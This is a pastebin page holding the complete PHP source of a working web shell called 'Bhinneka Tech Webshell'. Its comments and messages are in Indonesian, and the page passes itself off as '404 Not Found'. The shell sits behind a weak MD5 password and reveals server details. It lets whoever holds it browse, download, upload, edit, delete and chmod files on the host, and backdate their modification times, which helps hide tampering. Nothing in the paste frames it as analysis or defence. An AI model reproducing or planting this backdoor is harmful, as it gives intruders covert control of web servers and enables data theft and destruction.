Untitled

From Anonymous, 1 Day ago, written in Plain Text, viewed 1 times.
URL http://minetest.wjake.com/stikked/view/89a97a37 Embed
Download Paste or View Raw
  1. <?php
  2.  
  3. error_reporting(0);
  4. $password = "21232f297a57a5a743894a0e4a801fc3";
  5. session_start();
  6.  
  7. if(md5($_POST['password']) == $password) {
  8.         $_SESSION['isLogin'] = true;
  9. }else {
  10.         loginShell();
  11. }
  12.  
  13. function info() {
  14.   $arr = [
  15.     'ip' => $_SERVER['SERVER_ADDR'],
  16.     'host' => gethostname(),
  17.     'kernel' => php_uname(),
  18.     'disablefunc' => ini_get('disable_functions'),
  19.     'path' => getcwd(),
  20.     'os' => PHP_OS,
  21.   ];  
  22.  
  23.   return $arr;
  24. }
  25. $getInfo = info();
  26.  
  27. if(strtoupper(substr($getInfo['os'], 0, 3)) == 'WIN') {
  28.   $getInfo['os'] = 'Windows';
  29.   $paths = explode('\\', $getInfo['path']);
  30.   $paths = $paths[0] . '/';
  31. }else if(strtoupper(substr($getInfo['os'], 0, 3)) == 'LIN') {
  32.   $getInfo['os'] = 'Linux';
  33.   $paths = '/';
  34. }
  35.  
  36.  
  37. $dir = getcwd();
  38.  
  39. if(isset($_GET['path'])) {
  40.         $replace = str_replace('\\', '/', $_GET['path']);
  41.         $replace = str_replace('//', '/', $_GET['path']);
  42.         $pecah = explode('/', $replace);
  43. }else {
  44.         $replace = str_replace('\\', '/', $dir);
  45.         $pecah = explode('/', $replace);
  46. }
  47.  
  48. function loginShell() {
  49.                 if(!isset($_SESSION['isLogin'])) {
  50.                         echo "<form method='POST'><input type='password' name='password'><button type='submit'>Submit</button></form>";
  51.                         die();
  52.                 }
  53. }
  54.  
  55. function cekPermission($filenya) {
  56.  
  57.   $perms = fileperms($filenya);
  58.   switch ($perms & 0xF000) {
  59.     case 0xC000: // socket
  60.         $info = 's';
  61.         break;
  62.     case 0xA000: // symbolic link
  63.         $info = 'l';
  64.         break;
  65.     case 0x8000: // regular
  66.         $info = '-';
  67.         break;
  68.     case 0x6000: // block special
  69.         $info = 'b';
  70.         break;
  71.     case 0x4000: // directory
  72.         $info = 'd';
  73.         break;
  74.     case 0x2000: // character special
  75.         $info = 'c';
  76.         break;
  77.     case 0x1000: // FIFO pipe
  78.         $info = 'p';
  79.         break;
  80.     default:
  81.         $info = 'u';
  82. }
  83.  
  84.       //Untuk Owner
  85.       $info .= (($perms & 0x0100) ? 'r' : '-');
  86.       $info .= (($perms & 0x0080) ? 'w' : '-');
  87.       $info .= (($perms & 0x0040) ?
  88.                   (($perms & 0x0800) ? 's' : 'x' ) :
  89.                   (($perms & 0x0800) ? 'S' : '-'));
  90.  
  91.       //Untuk Group
  92.       $info .= (($perms & 0x0020) ? 'r' : '-');
  93.       $info .= (($perms & 0x0010) ? 'w' : '-');
  94.       $info .= (($perms & 0x0008) ?
  95.                   (($perms & 0x0400) ? 's' : 'x' ) :
  96.                   (($perms & 0x0400) ? 'S' : '-'));
  97.  
  98.       //Untuk Other
  99.       $info .= (($perms & 0x0004) ? 'r' : '-');
  100.       $info .= (($perms & 0x0002) ? 'w' : '-');
  101.       $info .= (($perms & 0x0001) ?
  102.                   (($perms & 0x0200) ? 't' : 'x' ) :
  103.                   (($perms & 0x0200) ? 'T' : '-'));
  104.  
  105.       return $info;
  106. }
  107.  
  108. function hitungSize($fileSize) {
  109.         $bytes = sprintf('%u', filesize($fileSize));
  110.  
  111.     if ($bytes > 0)
  112.     {
  113.         $unit = intval(log($bytes, 1024));
  114.         $units = array('B', 'KB', 'MB', 'GB');
  115.  
  116.         if (array_key_exists($unit, $units) === true)
  117.         {
  118.             return sprintf('%d %s', $bytes / pow(1024, $unit), $units[$unit]);
  119.         }
  120.     }
  121.  
  122.     return $bytes;
  123. }
  124.  
  125. function bungkus($obj) {
  126.         $wrap = filter_var(htmlspecialchars(file_get_contents($obj)), FILTER_SANITIZE_STRING);
  127.         return $wrap;
  128. }
  129.  
  130. function deleteFolder($dirnya) {
  131.         $files = array_diff(scandir($dirnya), array('.', '..'));
  132.  
  133.     foreach ($files as $file) {
  134.         (is_dir("$dirnya/$file")) ? deleteFolder("$dirnya/$file") : unlink("$dirnya/$file");
  135.     }
  136.  
  137.     return rmdir($dirnya);
  138. }
  139.  
  140. function folder_exist($folder)
  141. {
  142.     $path = realpath($folder);
  143.  
  144.     if($path !== false AND is_dir($path))
  145.     {
  146.         return true;
  147.     }
  148.  
  149.     return false;
  150. }
  151.  
  152.  
  153. if(isset($_GET['path'])) {
  154.         $get = $_GET['path'];
  155.         $pec = explode('/', $get);
  156.  
  157.         if(is_file($get)) {
  158.                 $konten = bungkus($get);
  159.                 $cek = true;
  160.                 $listDir = scandir($get);
  161.         }else {
  162.                 $listDir = array_diff(scandir($get), ['.', '..']);
  163.         }
  164. }else {
  165.         $get = $replace;
  166.         $listDir = array_diff(scandir($get), ['.', '..']);
  167. }
  168.  
  169. // ? NAYA CODE: File Download Handler
  170. if(isset($_GET['download']) && isset($_GET['file'])) {
  171.     $file = $_GET['file'];
  172.     if(file_exists($file) && is_file($file)) {
  173.         header('Content-Description: File Transfer');
  174.         header('Content-Type: application/octet-stream');
  175.         header('Content-Disposition: attachment; filename="'.basename($file).'"');
  176.         header('Content-Transfer-Encoding: binary');
  177.         header('Expires: 0');
  178.         header('Cache-Control: must-revalidate');
  179.         header('Pragma: public');
  180.         header('Content-Length: ' . filesize($file));
  181.         ob_clean();
  182.         flush();
  183.         readfile($file);
  184.         exit;
  185.     } else {
  186.         echo "<script>alert('File not found!'); window.location.href='?path=".dirname($file)."';</script>";
  187.         exit;
  188.     }
  189. }
  190.  
  191. if(isset($_POST['pilihan'])) {
  192.     switch ($_POST['pilihan']) {
  193.         case 'edit':
  194.             $edit = true;
  195.             $dirFile = $_POST['dir'];
  196.             $sourceFile = $_POST['sourceFile'];
  197.             if(!empty($sourceFile)){
  198.                 $fileHandle = fopen($dirFile, 'w');
  199.                 if($fileHandle !== false){
  200.                     if(fwrite($fileHandle, $sourceFile) !== false) {
  201.                         fclose($fileHandle);
  202.                         $successEdit = 'Berhasil di edit';
  203.                     } else {
  204.                         fclose($fileHandle);
  205.                         $successEdit = 'Gagal edit';
  206.                     }
  207.                 } else {
  208.                     $successEdit = 'Gagal membuka file untuk diedit';
  209.                 }
  210.             }
  211.             break;
  212.                 case $_POST['pilihan'] == 'rename':
  213.                         $rename = true;
  214.                         $dirFile = $_POST['dir'];
  215.                         $filename = $_POST['namaFile'];
  216.                         $namaBaru = $_POST['namaBaru'];
  217.                         if(!empty($namaBaru)){
  218.                                 if(rename($dirFile, $_GET['path'] . '/' . $namaBaru)) {
  219.                                         $filename = $namaBaru;
  220.                                         $dirFile = $_GET['path'] . '/' . $namaBaru;
  221.                                         $successRename = 'Berhasil rename';
  222.                                 }else {
  223.                                         $successRename = 'Gagal rename';
  224.                                 }
  225.                         }
  226.                         break;
  227.                 case $_POST['pilihan'] == 'delete':
  228.                         $dirFile = $_POST['dir'];
  229.                         $type = $_POST['type'];
  230.                         if(isset($dirFile) && is_file($dirFile)) {
  231.                                 if(unlink($dirFile)) { 
  232.                                         $pesanHapus =  "<script>
  233.                                                                         alert('File berhasil dihapus!!');
  234.                                                                         window.location.href = window.location.href;
  235.                                                                     </script>";
  236.                                 }else {
  237.                                         $pesanHapus =  "<script>
  238.                                                                         alert('File gagal dihapus!!');
  239.                                                                         window.location.href = window.location.href;
  240.                                                                     </script>";
  241.                                 }
  242.                         }else if(isset($dirFile) && is_dir($dirFile)) {
  243.                                 //$dirFile = $dirFile . '/';
  244.                                 if(deleteFolder($dirFile)) {
  245.                                     $pesanHapus =  "<script>
  246.                                                                         alert('Folder berhasil dihapus!!');
  247.                                                                         window.location.href = window.location.href;
  248.                                                                     </script>";
  249.                                 }else {
  250.                                         $pesanHapus =  "<script>
  251.                                                                         alert('Folder gagal dihapus!!');
  252.                                                                         window.location.href = window.location.href;
  253.                                                                     </script>";
  254.                                 }
  255.                         }
  256.                         break;
  257.                 case $_POST['pilihan'] == 'chmod':
  258.                         $chmod = true;
  259.                         $file = fileperms($_POST['dir']);
  260.                         $permission = substr(sprintf('%o', $file), -4);
  261.                         $dirFile = $_POST['dir'];
  262.                         $perms = octdec($_POST['perms']);
  263.                         if(isset($_POST['perms'])) {
  264.                                 if(isset($perms)) {
  265.                                         if(chmod($dirFile, $perms)) {
  266.                                                 $permission = decoct($perms);
  267.                                                 $successChmod ='Berhasil chmod!';
  268.                                         }else {
  269.                                                 $successChmod = 'Gagal chmod!';
  270.                                         }
  271.                                 }
  272.                         }
  273.                         break;
  274.                 // ? NAYA CODE: Touch/Time Modify Handler
  275.                 case $_POST['pilihan'] == 'touch':
  276.                         $touch = true;
  277.                         $dirFile = $_POST['dir'];
  278.                         $currentTime = filemtime($dirFile);
  279.                         $currentDate = date('Y-m-d\TH:i', $currentTime);
  280.                         if(isset($_POST['newtime'])) {
  281.                                 $newTimestamp = strtotime($_POST['newtime']);
  282.                                 if($newTimestamp !== false) {
  283.                                         if(touch($dirFile, $newTimestamp)) {
  284.                                                 $successTouch = 'Waktu berhasil diubah!';
  285.                                                 $currentTime = $newTimestamp;
  286.                                                 $currentDate = date('Y-m-d\TH:i', $currentTime);
  287.                                         } else {
  288.                                                 $successTouch = 'Gagal mengubah waktu!';
  289.                                         }
  290.                                 } else {
  291.                                         $successTouch = 'Format waktu tidak valid!';
  292.                                 }
  293.                         }
  294.                         break;
  295.                 case $_POST['pilihan'] == 'create':
  296.                         $namaFile = "";
  297.                         $isiFile = "";
  298.  
  299.                         $dirPath = $_GET['path'] . '/';
  300.                         if(isset($_POST['createAction'])) {
  301.                                 $namaFile = $_POST['createName'];
  302.                                 $isiFile = ($_POST['createIsi'] == NULL) ? ' ' : $_POST['createIsi'];
  303.                                 if(!file_exists($dirPath . $namaFile)) {
  304.                                         if(file_put_contents($dirPath . $namaFile, $isiFile)) {
  305.                                                 $pesanCreate = 'File berhasil dibuat';
  306.                                         }else {
  307.                                                 $pesanCreate = 'Directory not Writable';
  308.                                         }
  309.                                 }else {
  310.                                         $pesanCreate = 'Nama file / folder sudah ada';
  311.                                 }
  312.                         }
  313.                         break;
  314.                 case $_POST['pilihan'] == 'createFolder':
  315.                         $dirPath = $_GET['path'] . '/';
  316.                         if(isset($_POST['createFolder'])) {
  317.                                 $namaFolder = $_POST['createName'];
  318.                                 if(mkdir($dirPath . $namaFolder)) {
  319.                                         $pesanCreate = 'Folder berhasil dibuat';
  320.                                 }else {
  321.                                         if(is_dir($namaFolder)) {
  322.                                                 $pesanCreate = 'Nama Folder / File sudah ada';
  323.                                         }elseif(!is_writable($dirPath)){
  324.                                                 $pesanCreate = 'Directory not writable';
  325.                                         }
  326.                                 }
  327.                         }
  328.                         break;
  329.                 case $_POST['pilihan'] == 'upload':
  330.                         $path = $replace;
  331.                         if(isset($_GET['path'])) {
  332.                                 $path = $_GET['path'];
  333.                         }
  334.  
  335.                         if(isset($_FILES['uploadFile'])) {
  336.                                 $namafile = $_FILES['uploadFile']['name'];
  337.                                 $tempatfile = $_FILES['uploadFile']['tmp_name'];
  338.                                 $error = $_FILES['uploadFile']['error'];
  339.                                 $ukuranfile = $_FILES['uploadFile']['size'];
  340.  
  341.                                 if(move_uploaded_file($tempatfile, $path.'/'.$namafile)) {
  342.                                         echo "<script>
  343.                                                   alert('File berhasil diupload!!');
  344.                                                   window.location.href = window.location.href;
  345.                                                   </script>";
  346.                                 }else {
  347.                                         echo "<script>
  348.                                                   alert('File gagal diupload!!');
  349.                                                   window.location.href = window.location.href;
  350.                                                   </script>";
  351.                                 }
  352.                         }break;
  353.         }
  354. }
  355.  
  356.  
  357.  
  358. ?>
  359. <!DOCTYPE html>
  360. <html>
  361. <head>
  362.         <title>404 Not Found</title>
  363. </head>
  364. <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
  365. <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css">
  366. <meta name="viewport" content="width=1024">
  367. <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
  368. <meta name="viewport" content="width=device-width, initial-scale=0.60, shrink-to-fit=no">
  369. <style type="text/css">
  370.         body {
  371.                 width: 100vw;
  372.                 height: 100px;
  373.                 overflow-x: hidden !important;
  374.         }
  375.         .info {
  376.                 display: block;
  377.                 width: 100%;
  378.         }
  379.                
  380.         table.striped > tbody > tr:nth-child(odd) {
  381.                 background-color: rgba(170, 213, 213, 0.5);
  382.         }
  383.         nav {
  384.                 background-color: #42a5f5;
  385.         }
  386.         .select-wrapper {
  387.                 position: relative;
  388.                 width: 100px;
  389.                 display: inline-block;
  390.         }
  391.  
  392.         .file-field .btn, .file-field .btn-large, .file-field .btn-small {
  393.                 float: inherit;
  394.                 height: 3rem;
  395.                 line-height: 3rem;
  396.         }
  397.  
  398.         .select-wrapper .caret {
  399.                 right: auto !important;
  400.         }
  401.  
  402.         .select-wrapper input.select-dropdown {
  403.                 width: 50%;
  404.         }
  405.  
  406.         textarea {
  407.         height: 50rem !important;
  408.                 overflow-y: scroll !important;
  409.                 height: 700px !important;
  410.         }
  411.  
  412.         .maung {
  413.                 height: 700px !important;
  414.         }
  415.  
  416.         table{
  417.                 width:100%;
  418.                 table-layout: fixed;
  419.                 overflow-wrap: break-word;
  420.         }
  421.        
  422.         @media screen and (max-width: 732px) {
  423.                 .navbar-text {
  424.                         font-size: 25px !important;
  425.                         width: 280px !important;
  426.                 }
  427.         }
  428.  
  429. </style>
  430. <body>
  431.         <div class="content">
  432.         <nav>
  433.        <div class="container">
  434.             <div class="nav-wrapper">
  435.               <a href="#" class="brand-logo center navbar-text">Bhinneka Tech Webshell</a>
  436.             </div>
  437.            </div>
  438.         </nav>
  439.  
  440.         <div class="container" style="margin-top: 30px;">
  441.         <b class="info">Server IP : <?= $getInfo['ip']; ?></b>
  442.         <b class="info">Hostname : <?= $getInfo['host']; ?></b>
  443.         <b class="info">Kernel : <?= $getInfo['kernel']; ?></b>
  444.         <b class="info">OS : <?= $getInfo['os']; ?></b>
  445.                 <b class="info">USER : <?= get_current_user(); ?></b>
  446.         </div>
  447.         <br>   
  448.         <?php if($cek){ ?>
  449.  
  450. <div class="container">
  451. <div class="row">
  452.         <div style="font-size: 17px;">
  453.         <?php  
  454.                                 echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
  455.                                 for ($i = 1; $i < count($pecah); $i++) {
  456.                                         $subpath = implode('/', array_slice($pecah, 1, $i));
  457.                                         echo '/';
  458.                                         echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
  459.                                 }
  460.                                 ?>
  461.         </div>
  462.     <form class="col s12">
  463.       <div class="row">
  464.         <div class="input-field col s12">
  465.           <textarea id="textarea" class="materialize-textarea" style="background-color: ghostwhite; overflow-y: auto;" disabled><?= $konten; ?></textarea>
  466.         </div>
  467.       </div>
  468.     </form>
  469.   </div>
  470.  </div>
  471.         <?php }else if($edit){ ?>
  472.                 <div class="container">
  473.                 <?php  
  474.                                 echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
  475.                                 for ($i = 1; $i < count($pecah); $i++) {
  476.                                         $subpath = implode('/', array_slice($pecah, 1, $i));
  477.                                         echo '/';
  478.                                         echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
  479.                                 }
  480.                 ?>
  481.                 <?= !empty($successEdit) ? "<p class='blue-text text-darken-2'>" . $successEdit . "</p>" : ""; ?>
  482.                 <form method="POST">
  483.                 <input type="hidden" name="dir" value="<?= $dirFile; ?>">
  484.                 <input type="hidden" name="pilihan" value="edit">
  485.                 <div class="row">
  486.                         <form class="col s12">
  487.                                 <div class="input-field col s12">
  488.                                 <textarea name="sourceFile" id="textarea" class="materialize-textarea" style="background-color: ghostwhite; overflow-y: auto;" ><?= bungkus($dirFile); ?></textarea>
  489.                                 <label for="textarea" class='active'>Edit File</label>
  490.                                 <button class="btn waves-effect waves-light" type="submit" name="action">Edit</button>
  491.                         </form>
  492.                 </div>
  493.                 </form>
  494.                 </div>
  495.         <?php }else if($rename){ ?>
  496.                 <div class="container">
  497.                 <?php  
  498.                                 echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
  499.                                 for ($i = 1; $i < count($pecah); $i++) {
  500.                                         $subpath = implode('/', array_slice($pecah, 1, $i));
  501.                                         echo '/';
  502.                                         echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
  503.                                 }
  504.                                 ?>
  505.                 <?= !empty($successRename) ? "<p class='blue-text text-darken-2'>" . $successRename . "</p>" : ""; ?>
  506.                 <form method="POST">
  507.                         <input type="hidden" name="dir" value="<?= $dirFile; ?>">
  508.                         <input type="hidden" name="pilihan" value="rename">
  509.                           <div class="row center-align">
  510.                             <div class="input-field col s12">
  511.                               <input value="<?= $filename; ?>" name="namaBaru" id="rename" type="text" class="validate">
  512.                               <label class="active" for="rename">Input disini:</label>
  513.                               <button class="btn waves-effect waves-light" type="submit" name="action">Rename</button>
  514.                             </div>
  515.                           </div>                         
  516.                 </form>
  517.                 </div>
  518.         <?php }else if($chmod) { ?>
  519.                 <div class="container">
  520.                 <?php  
  521.                                 echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
  522.                                 for ($i = 1; $i < count($pecah); $i++) {
  523.                                         $subpath = implode('/', array_slice($pecah, 1, $i));
  524.                                         echo '/';
  525.                                         echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
  526.                                 }
  527.                                 ?>
  528.                 <?= !empty($successChmod) ? "<p class='blue-text text-darken-2'>" . $successChmod . "</p>" : ''; ?>
  529.                 <form method="POST">
  530.                         <input type="hidden" name="dir" value="<?= $dirFile; ?>">
  531.                         <input type="hidden" name="pilihan" value="chmod">
  532.                           <div class="row center-align">
  533.                             <div class="input-field col s12">
  534.                               <input value="<?= $permission; ?>" name="perms" id="chmod" type="text" class="validate">
  535.                               <label class="active" for="chmod">Input disini:</label>
  536.                               <button class="btn waves-effect waves-light" type="submit" name="action">Chmod</button>
  537.                             </div>
  538.                           </div>
  539.                 </form>
  540.                 </div>
  541.         <?php }else if(isset($_GET['create'])){ ?>
  542.                 <br>
  543.                 <div class="container">
  544.                 <?php  
  545.                                 echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
  546.                                 for ($i = 1; $i < count($pecah); $i++) {
  547.                                         $subpath = implode('/', array_slice($pecah, 1, $i));
  548.                                         echo '/';
  549.                                         echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
  550.                                 }
  551.                                 ?>
  552.                 <?= !empty($pesanCreate) ? "<p class='blue-text text-darken-2'>" . $pesanCreate . "</p>" : ""; ?>
  553.                 <form method="POST">
  554.                         <input type="hidden" name="pilihan" value="create">
  555.                           <div class="row center-align">
  556.                             <div class="input-field col s12">
  557.                               <input name="createName" id="createFile" type="text" class="validate" value="<?= $namaFile; ?>">
  558.                               <label class="active" for="createFile">Nama File</label>
  559.                               <textarea name="createIsi" class="materialize-textarea" style="height: 400px; background-color: ghostwhite; overflow-y: scroll;"><?= $isiFile; ?></textarea>
  560.                               <button class="btn waves-effect waves-light" type="submit" name="createAction">Create</button>
  561.                             </div>
  562.                           </div>
  563.                 </form>
  564.                 </div>
  565.         <?php }else if(isset($_GET['createFolder'])){ ?>
  566.                 <div class="container">
  567.                 <?php  
  568.                                 echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
  569.                                 for ($i = 1; $i < count($pecah); $i++) {
  570.                                         $subpath = implode('/', array_slice($pecah, 1, $i));
  571.                                         echo '/';
  572.                                         echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
  573.                                 }
  574.                                 ?>
  575.                 <?= !empty($pesanCreate) ? "<p class='blue-text text-darken-2'>" . $pesanCreate . "</p>" : ""; ?>
  576.                 <form method="POST">
  577.                         <input type="hidden" name="pilihan" value="createFolder">
  578.                           <div class="row center-align">
  579.                             <div class="input-field col s12">
  580.                               <input name="createName" id="createFolder" type="text" class="validate" value="<?= $namaFolder; ?>">
  581.                               <label class="active" for="createFolder">Nama Folder</label>
  582.                               <button class="btn waves-effect waves-light" type="submit" name="createFolder">Create</button>
  583.                             </div>
  584.                           </div>
  585.                 </form>
  586.                 </div>
  587.         <?php }else if($touch){ ?>
  588.                 <!-- ? NAYA CODE: Touch/Time Modify Form -->
  589.                 <div class="container">
  590.                 <?php  
  591.                                 echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
  592.                                 for ($i = 1; $i < count($pecah); $i++) {
  593.                                         $subpath = implode('/', array_slice($pecah, 1, $i));
  594.                                         echo '/';
  595.                                         echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
  596.                                 }
  597.                                 ?>
  598.                 <?= !empty($successTouch) ? "<p class='blue-text text-darken-2'>" . $successTouch . "</p>" : ''; ?>
  599.                 <form method="POST">
  600.                         <input type="hidden" name="dir" value="<?= $dirFile; ?>">
  601.                         <input type="hidden" name="pilihan" value="touch">
  602.                           <div class="row center-align">
  603.                             <div class="input-field col s12">
  604.                               <input type="datetime-local" value="<?= $currentDate; ?>" name="newtime" id="touch" class="validate">
  605.                               <label class="active" for="touch">Modify Time:</label>
  606.                               <button class="btn waves-effect waves-light" type="submit" name="action">Update Time</button>
  607.                             </div>
  608.                           </div>
  609.                 </form>
  610.                 </div>
  611.         <?php }else{ ?>
  612.    <div class="container">     
  613.    <b class="info">
  614.          <a href="?create&path=<?= isset($_GET['path']) ? $_GET['path'] : $replace; ?>" class="btn-floating btn-large waves-effect waves-light red"><i class="material-icons">add</i></a> <b>Add File&nbsp;&nbsp;&nbsp;</b>
  615.          <a href="?createFolder&path=<?= isset($_GET['path']) ? $_GET['path'] : $replace; ?>" class="btn-floating btn-large waves-effect waves-light blue""><i class="material-icons">add</i></a> <b>Add Folder</b>
  616.         <br>
  617.         <b class="info">
  618.                  <form method="POST" enctype="multipart/form-data">
  619.                     <div class="file-field input-field">
  620.                       <div class="btn">
  621.                         <span>File</span>
  622.                         <input type="hidden" name="pilihan" value="upload">
  623.                         <input type="hidden" name="dir" value="<?= $_GET['path'] ?>">
  624.                         <input type="file" name="uploadFile">
  625.                       </div>
  626.                       <div class="file-path-wrapper">
  627.                         <input class="file-path validate" type="text" style="width: 300px">
  628.                         <button class="btn waves-effect waves-light" type="submit" name="actionUpload">Upload!
  629.                                 </button>
  630.                       </div>
  631.                     </div>
  632.                 </form>
  633.         </b>
  634.         <!-- <div style="font-size: 18px;"> -->
  635.         <div class="row"><div class="col s12" style="font-size: 18px;">
  636.         PATH:
  637.         <?php  
  638.                                 echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
  639.                                 for ($i = 1; $i < count($pecah); $i++) {
  640.                                         $subpath = implode('/', array_slice($pecah, 1, $i));
  641.                                         echo '/';
  642.                                         echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
  643.                                 }
  644.                                 ?>
  645.         </div></div>
  646. </div>
  647.  
  648.    <div class="container">     
  649.         <table class="striped centered bordered">
  650.                 <?= !empty($pesanHapus) ? $pesanHapus : ''; ?>                 
  651.                 <thead>
  652.                 <tr>
  653.                         <th>Nama</th>
  654.                         <th>Size</th>
  655.                         <th>Modified</th>
  656.                         <th>Permission</th>
  657.                         <th>Action</th>
  658.                 </tr>
  659.                 </thead>
  660.                 <?php foreach($listDir as $dir): ?>
  661.                 <tr>
  662.                         <td>
  663.                                 <?php if(is_file($get . '/' . $dir)): ?>
  664.                                         <a style="color: black;" href="?download=1&file=<?= urlencode($get . '/' . $dir); ?>" title="Download"><?= $dir; ?></a>
  665.                                 <?php else: ?>
  666.                                         <a style="color: black;" href="?path=<?= str_replace([".", "//"], ["%2e", '/'], $get . '/' . $dir); ?>"><?= $dir; ?></a>
  667.                                 <?php endif; ?>
  668.                         </td>
  669.                         <td><?= is_file($get . '/' . $dir) ? hitungSize($get . '/' . $dir) : 'Folders'; ?></td>
  670.                         <td><?= is_file($get . '/' . $dir) ? date('Y-m-d H:i', filemtime($get . '/' . $dir)) : '-'; ?></td>
  671.                         <td><?= is_writable($get . '/' . $dir) ? '<font color="green">' . @cekPermission($get . '/' . $dir) . '</font>' : '<font color="red">' . @cekPermission($get . '/' . $dir) . '</font>';?></td>
  672.                         <td>
  673.                                 <?php if(is_file($get . '/' . $dir)): ?>
  674.                                 <form method="POST" action="?set&path=<?= $get; ?>">
  675.                                         <center>
  676.                                         <select class="browser-default" name="pilihan" style="height: 30px; width: 70px; z-index: 1;">
  677.                                                 <option value="Select" disabled selected>Pilih</option>
  678.                                                 <option value="rename">Rename</option>
  679.                                                 <option value="edit">Edit</option>
  680.                                                 <option value="delete">Delete</option>
  681.                                                 <option value="chmod">Chmod</option>
  682.                                                 <option value="touch">Touch</option>
  683.                                         </select>
  684.                                         </center>
  685.                                         <input type="hidden" name="type" value="file">
  686.                                         <input type="hidden" name="namaFile" value="<?= $dir; ?>">
  687.                                         <input type="hidden" name="dir" value="<?= $get . '/' . $dir ?>">
  688.                                          <button class="btn waves-effect waves-light" type="submit" name="action">
  689.                                             <i class="material-icons right">send</i>
  690.                                          </button>
  691.                                 </form>
  692.                                 <?php else: ?>
  693.                                 <form method="POST" action="?set&path=<?= $get; ?>">   
  694.                                         <center>
  695.                                         <select class="browser-default" name="pilihan" style="height: 30px; width: 70px; z-index: 1;" name="pilihan">
  696.                                                 <option value="Select" disabled selected>Pilih</option>
  697.                                                 <option value="rename">Rename</option>
  698.                                                 <option value="delete">Delete</option>
  699.                                                 <option value="chmod">Chmod</option>
  700.                                                 <option value="touch">Touch</option>
  701.                                         </select>
  702.                                         </center>
  703.                                         <input type="hidden" name="type" value="folder">
  704.                                         <input type="hidden" name="namaFile" value="<?= $dir; ?>">
  705.                                         <input type="hidden" name="dir" value="<?= $get . '/' . $dir ?>">
  706.                                         <button class="btn waves-effect waves-light" type="submit" name="action">
  707.                                             <i class="material-icons right">send</i>
  708.                                         </button>
  709.                                 </form>
  710.                                 <?php endif; ?>
  711.                         </td>
  712.                 </tr>
  713.                 <?php endforeach; ?>
  714.         </table>
  715. </div>
  716.         <?php } ?>
  717. </div>
  718.  
  719.         <footer id="footer" style="margin-top: 100px;">
  720.  
  721.         </footer>
  722.  
  723. <script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script>
  724. <script>
  725.  
  726. var footer = document.querySelector("footer");
  727.  
  728. function stopScrollAtFooter() {
  729.     var footerHeight = footer.clientHeight;
  730.     var contentHeight = document.body.scrollHeight;
  731.     var scrollY = window.scrollY;
  732.  
  733.         if (scrollY + window.innerHeight >= contentHeight - footerHeight) {
  734.                         window.scrollTo(0, contentHeight - window.innerHeight);
  735.                 }
  736.         }
  737.  
  738.         window.addEventListener("scroll", stopScrollAtFooter);
  739.  
  740.  
  741.         document.addEventListener('DOMContentLoaded', function() {
  742.     var elems = document.querySelectorAll('select');
  743.     var instances = M.FormSelect.init(elems, {});
  744.   });
  745. </script>
  746. </body>
  747. </html>

Reply to "Untitled"

Here you can reply to the paste above